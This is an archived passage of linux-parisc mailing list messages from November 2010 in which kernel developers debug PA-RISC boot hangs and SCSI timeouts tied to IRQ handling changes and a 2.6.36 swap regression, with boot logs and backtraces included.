UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
  [<10118558>] show_stack+0x18/0x28
  [<10111544>] dump_stack+0x1c/0x2c
  [<101732c8>] backtrace_regression_test+0x50/0x128
  [<10116454>] do_one_initcall+0x6c/0x2b8
  [<1072d850>] kernel_init+0xe0/0x184
  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
  [<10118558>] show_stack+0x18/0x28
  [<10111544>] dump_stack+0x1c/0x2c
  [<10173258>] backtrace_test_irq_callback+0x18/0x38
  [<101403b4>] tasklet_action+0xbc/0xdc
  [<10140cfc>] __do_softirq+0xd8/0x1a4
  [<1011527c>] do_softirq+0x3c/0x60
  [<10140e54>] run_ksoftirqd+0x8c/0x138
  [<10157238>] kthread+0xa4/0xac
  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
  [<10121eb4>] save_stack_trace+0x28/0x60
  [<10173368>] backtrace_regression_test+0xf0/0x128
  [<10116454>] do_one_initcall+0x6c/0x2b8
  [<1072d850>] kernel_init+0xe0/0x184
  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24
  [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 240
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
     id 2bcb015a-9a02587, conforms to spec rev. 8.04
     graphics card name: HPA4071B
     id 2d08c0a7-9a02587, conforms to spec rev. 8.07
     graphics card name: HPA4450AX1024
     id 2d08c0a7-9a02587, conforms to spec rev. 8.07
     graphics card name: INTERNAL_EG_X1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, 
mmio: 0xfa100000
fb1: stifb 1024x768-8 frame buffer device, HPA4450AX1024, id: 2d08c0a7, 
mmio: 0xf4100000
fb2: stifb 1024x768-8 frame buffer device, INTERNAL_EG_X1024, id: 
2d08c0a7, mmio: 0xf8100000
Linux agpgart interface v0.103
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
8:0:63: ttyS1 at MMIO 0xfff83800 (irq = 22) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 19 [PCSPP,TRISTATE]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
ide-cd driver 5.00
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g

------------ HERE it starts "hanging" (output is very slow) --------------
-
It seems the zalon/720 driver is not getting any interrupts.
zalon seems to use the GSC chip.
- --------------------------------------------------------------------------



scsi 0:0:1:0: Device offlined - not ready after error recovery
scsi 0:0:2:0: Device offlined - not ready after error recovery
scsi 0:0:3:0: Device offlined - not ready after error recovery
scsi 0:0:4:0: Device offlined - not ready after error recovery
scsi 0:0:5:0: Device offlined - not ready after error recovery
scsi 0:0:6:0: Device offlined - not ready after error recovery
scsi 0:0:8:0: Device offlined - not ready after error recovery
scsi 0:0:9:0: Device offlined - not ready after error recovery
scsi 0:0:10:0: Device offlined - not ready after error recovery
scsi 0:0:11:0: Device offlined - not ready after error recovery
scsi 0:0:12:0: Device offlined - not ready after error recovery
scsi 0:0:13:0: Device offlined - not ready after error recovery
scsi 0:0:14:0: Device offlined - not ready after error recovery
scsi 0:0:15:0: Device offlined - not ready after error recovery
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi 1:0:1:0: New error handler wants to abort command

scsi 1:0:1:0: CDB: cdb[0]=0x12: 12 00 00 00 24 00
scsi 1:0:1:0: New error handler wants BUS reset, cmd 17e35ee0

scsi 1:0:1:0: CDB: cdb[0]=0x12: 12 00 00 00 24 00
INFO: task scsi_eh_1:544 blocked for more than 120 seconds.
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
scsi_eh_1     D 10102d30     0   544      2 0x00000000
Backtrace:
  [<10111ffc>] schedule+0x288/0x510
  [<101125f4>] schedule_timeout+0x1a0/0x1fc
  [<10111bac>] wait_for_common+0xdc/0x188
  [<10111d64>] wait_for_completion+0x1c/0x2c
  [<1039e128>] NCR_700_bus_reset+0x104/0x180
  [<1037ad70>] scsi_try_bus_reset+0x38/0x138
  [<1037c44c>] scsi_eh_ready_devs+0x498/0x6b8
  [<1037cbfc>] scsi_error_handler+0x43c/0x44c
  [<10157238>] kthread+0xa4/0xac
  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24

and so on...

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Sat, 20 Nov 2010 16:05:59 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1290290759.3000.10.camel@mulgrave.site>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
	 <20101014153931.GI24144@bombadil.infradead.org> <4CE04DCF.7040306@gmx.de>
	 <20101115195606.GA8332@bombadil.infradead.org>  <4CE8453C.5020106@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290290771 1976 80.91.229.12 (20 Nov 2010 22:06:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 20 Nov 2010 22:06:11 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 20 23:06:06 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PJvZN-0006Oy-2K
	for glpp-linux-parisc@lo.gmane.org; Sat, 20 Nov 2010 23:06:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755131Ab0KTWGE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Nov 2010 17:06:04 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38678 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753676Ab0KTWGD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Nov 2010 17:06:03 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 961058EE0E2;
	Sat, 20 Nov 2010 14:06:02 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ng0ofeHoX6NT; Sat, 20 Nov 2010 14:06:02 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 232858EE0D3;
	Sat, 20 Nov 2010 14:06:02 -0800 (PST)
In-Reply-To: <4CE8453C.5020106@gmx.de>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3251>

On Sat, 2010-11-20 at 23:01 +0100, Helge Deller wrote:
> On 11/15/2010 08:56 PM, Kyle McMartin wrote:
> > On Sun, Nov 14, 2010 at 09:59:59PM +0100, Helge Deller wrote:
> >> I just got again a chance to boot up my b160L and 715/64 machines.
> >>
> >> Both broke due to the IRQ changes. I did reverted all of your IRQ
> >> patches (based on current Linus head branch) and now they boot
> >> again.
> >> Basically they just hang during the SCSI initialization (timeouts
> >> while detectings discs).
> >>
> >> So, there is something wrong for Lasi/GSC and Dino busses....
> >>
> >> Any idea?
> >>
> > No, but I'll take a look, it's probably something simple and stupid that
> > I missed. :/
> 
> I tried to look into it, but I'm somewhat lost.
> 
> This is what I get on my B160L.
> Same result btw on the 715/64.

The boot is just showing irq lost (so all the devices hang).

I've got it bisected to this commit on my C360:

commit ba20085c20f1c9e8af546dea6ad0efa421bdef32
Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
Date:   Wed Oct 13 21:00:55 2010 -0400

    parisc: lay groundwork for killing __do_IRQ

But I haven't found the fix yet ... the commit looks to be an equivalent
transformation.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Sat, 20 Nov 2010 19:25:31 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20101121002531.GL22651@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
 <20101014153931.GI24144@bombadil.infradead.org>
 <4CE04DCF.7040306@gmx.de>
 <20101115195606.GA8332@bombadil.infradead.org>
 <4CE8453C.5020106@gmx.de>
 <1290290759.3000.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290299140 31436 80.91.229.12 (21 Nov 2010 00:25:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Nov 2010 00:25:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 21 01:25:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PJxkN-00038x-Aj
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Nov 2010 01:25:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753935Ab0KUAZe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Nov 2010 19:25:34 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43612 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753032Ab0KUAZe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Nov 2010 19:25:34 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PJxkJ-0003FK-MV; Sun, 21 Nov 2010 00:25:31 +0000
Content-Disposition: inline
In-Reply-To: <1290290759.3000.10.camel@mulgrave.site>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3252>

On Sat, Nov 20, 2010 at 04:05:59PM -0600, James Bottomley wrote:
> commit ba20085c20f1c9e8af546dea6ad0efa421bdef32
> Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
> Date:   Wed Oct 13 21:00:55 2010 -0400
> 
>     parisc: lay groundwork for killing __do_IRQ
> 
> But I haven't found the fix yet ... the commit looks to be an equivalent
> transformation.
> 

The only obvious thing that jumps out is that... no, set_irq_chip
doesn't look to be doing anything awry.

But it must be something between what a 'raw' irq_desc looks like, and
what the helpers initialize them to.

--Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 21 Nov 2010 10:38:29 -0500
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20101121153828.GA24339@hiauly1.hia.nrc.ca>
References: <20101117052218.GB27930@lackof.org> <20101117160319.984F14DA1@hiauly1.hia.nrc.ca> <20101120210120.GA20947@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290353918 18038 80.91.229.12 (21 Nov 2010 15:38:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Nov 2010 15:38:38 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 21 16:38:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PKBzt-0000oR-HT
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Nov 2010 16:38:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754156Ab0KUPic (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Nov 2010 10:38:32 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2970 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754031Ab0KUPic (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Nov 2010 10:38:32 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D348A4DB0; Sun, 21 Nov 2010 10:38:29 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101120210120.GA20947@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3253>

On Sat, 20 Nov 2010, John David Anglin wrote:

> On Wed, 17 Nov 2010, John David Anglin wrote:
> 
> > > On that note, can you try a 32-bit kernel? (SMP maybe)
> > 
> > rp3440 doesn't support a 32-bit kernel.  I don't have a 32-bit SMP
> > machine.  I did try a UP 2.6.36 kernel on my c3750.  It crashed doing
> > its first gcc build.  Don't know why.  My 2.6.34.7 build is stable.

I'm seeing messages like the following with 32-bit 2.6.36:

Nov 20 16:43:29 hiauly6 kernel: vgaarb: this pci device is not a vga device
Nov 20 17:03:50 hiauly6 kernel: swap_free: Bad swap offset entry 00100009
Nov 20 17:03:54 hiauly6 last message repeated 119 times
Nov 20 17:12:48 hiauly6 kernel: swap_free: Bad swap offset entry 00100009
Nov 20 17:13:11 hiauly6 last message repeated 871 times
Nov 20 17:19:39 hiauly6 kernel: swap_free: Bad swap offset entry 00100009
Nov 20 17:19:49 hiauly6 last message repeated 462 times
Nov 20 17:21:41 hiauly6 last message repeated 113 times
Nov 20 17:22:42 hiauly6 last message repeated 692 times
Nov 20 17:22:45 hiauly6 last message repeated 32 times
Nov 20 17:25:42 hiauly6 kernel: swap_free: Bad swap offset entry 00100009

System hung when I tried shutdown -r.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Sun, 21 Nov 2010 11:26:49 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1290360409.3017.4.camel@mulgrave.site>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
	 <20101014153931.GI24144@bombadil.infradead.org> <4CE04DCF.7040306@gmx.de>
	 <20101115195606.GA8332@bombadil.infradead.org> <4CE8453C.5020106@gmx.de>
	 <1290290759.3000.10.camel@mulgrave.site>
	 <20101121002531.GL22651@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290360421 12583 80.91.229.12 (21 Nov 2010 17:27:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Nov 2010 17:27:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 21 18:26:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PKDgm-0003AA-09
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Nov 2010 18:26:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754645Ab0KUR0z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Nov 2010 12:26:55 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54767 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754336Ab0KUR0y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Nov 2010 12:26:54 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 37A438EE107;
	Sun, 21 Nov 2010 09:26:52 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kSPdnaAbxRMi; Sun, 21 Nov 2010 09:26:52 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BD8A48EE0F0;
	Sun, 21 Nov 2010 09:26:51 -0800 (PST)
In-Reply-To: <20101121002531.GL22651@bombadil.infradead.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3254>

On Sat, 2010-11-20 at 19:25 -0500, Kyle McMartin wrote:
> On Sat, Nov 20, 2010 at 04:05:59PM -0600, James Bottomley wrote:
> > commit ba20085c20f1c9e8af546dea6ad0efa421bdef32
> > Author: Kyle McMartin <kyle@dreadnought.i.jkkm.org>
> > Date:   Wed Oct 13 21:00:55 2010 -0400
> > 
> >     parisc: lay groundwork for killing __do_IRQ
> > 
> > But I haven't found the fix yet ... the commit looks to be an equivalent
> > transformation.
> > 
> 
> The only obvious thing that jumps out is that... no, set_irq_chip
> doesn't look to be doing anything awry.
> 
> But it must be something between what a 'raw' irq_desc looks like, and
> what the helpers initialize them to.

Actually, that all seems to be working.  I've traced the sym interrupt
through with a bunch of printks.  The CPU dino interrupt correctly
triggers.  It calls dino_isr which gets the right dino device and
correctly translates the pending interrupt to the right irq number (23)
in my case.  It looks like generic_handle_irq() (in dino_isr()) doesn't
call the handler, or the handler is somehow ineffective (it takes ages
to loop around and retry with the mask still pending).  That looks nuts
to me because it should be simply calling parisc_do_IRQ which is a
wrapper for the original do_IRQ ... so this should be equivalent.
Unfortunately getting on a 'plane soon and I have no access to a
remotely controllable dino system, so that's probably it for me on the
debugging front.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Mon, 22 Nov 2010 19:51:35 -0500
Organization: nrc.ca
Lines: 30
Approved: news@gmane.org
Message-ID: <20101123005134.GA3515@hiauly1.hia.nrc.ca>
References: <20101117052218.GB27930@lackof.org> <20101117160319.984F14DA1@hiauly1.hia.nrc.ca> <20101120210120.GA20947@hiauly1.hia.nrc.ca> <20101121153828.GA24339@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290473521 8899 80.91.229.12 (23 Nov 2010 00:52:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 23 Nov 2010 00:52:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 23 01:51:52 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PKh6s-00072q-7J
	for glpp-linux-parisc@lo.gmane.org; Tue, 23 Nov 2010 01:51:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932648Ab0KWAvj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Nov 2010 19:51:39 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3076 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932424Ab0KWAvj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Nov 2010 19:51:39 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4FB0D4CFC; Mon, 22 Nov 2010 19:51:35 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101121153828.GA24339@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3255>

On Sun, 21 Nov 2010, John David Anglin wrote:

> On Sat, 20 Nov 2010, John David Anglin wrote:
> 
> > On Wed, 17 Nov 2010, John David Anglin wrote:
> > 
> > > > On that note, can you try a 32-bit kernel? (SMP maybe)
> > > 
> > > rp3440 doesn't support a 32-bit kernel.  I don't have a 32-bit SMP
> > > machine.  I did try a UP 2.6.36 kernel on my c3750.  It crashed doing
> > > its first gcc build.  Don't know why.  My 2.6.34.7 build is stable.
> 
> I'm seeing messages like the following with 32-bit 2.6.36:
> 
> Nov 20 16:43:29 hiauly6 kernel: vgaarb: this pci device is not a vga device
> Nov 20 17:03:50 hiauly6 kernel: swap_free: Bad swap offset entry 00100009

The "Bad swap offset entry" is definitely a 2.6.36 regression.  This
doesn't happen with 2.6.34.7 or 2.6.35.8 with essentially identical
configs.  It seems 32-bit specific.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Wed, 24 Nov 2010 06:56:42 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20101124115642.GB22651@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
 <20101014153931.GI24144@bombadil.infradead.org>
 <4CE04DCF.7040306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290599841 20372 80.91.229.12 (24 Nov 2010 11:57:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Nov 2010 11:57:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 24 12:57:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PLDyP-0003WA-3c
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Nov 2010 12:57:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753841Ab0KXL4y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Nov 2010 06:56:54 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51097 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753095Ab0KXL4o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Nov 2010 06:56:44 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PLDxq-0004sx-5S; Wed, 24 Nov 2010 11:56:42 +0000
Content-Disposition: inline
In-Reply-To: <4CE04DCF.7040306@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3256>

On Sun, Nov 14, 2010 at 09:59:59PM +0100, Helge Deller wrote:
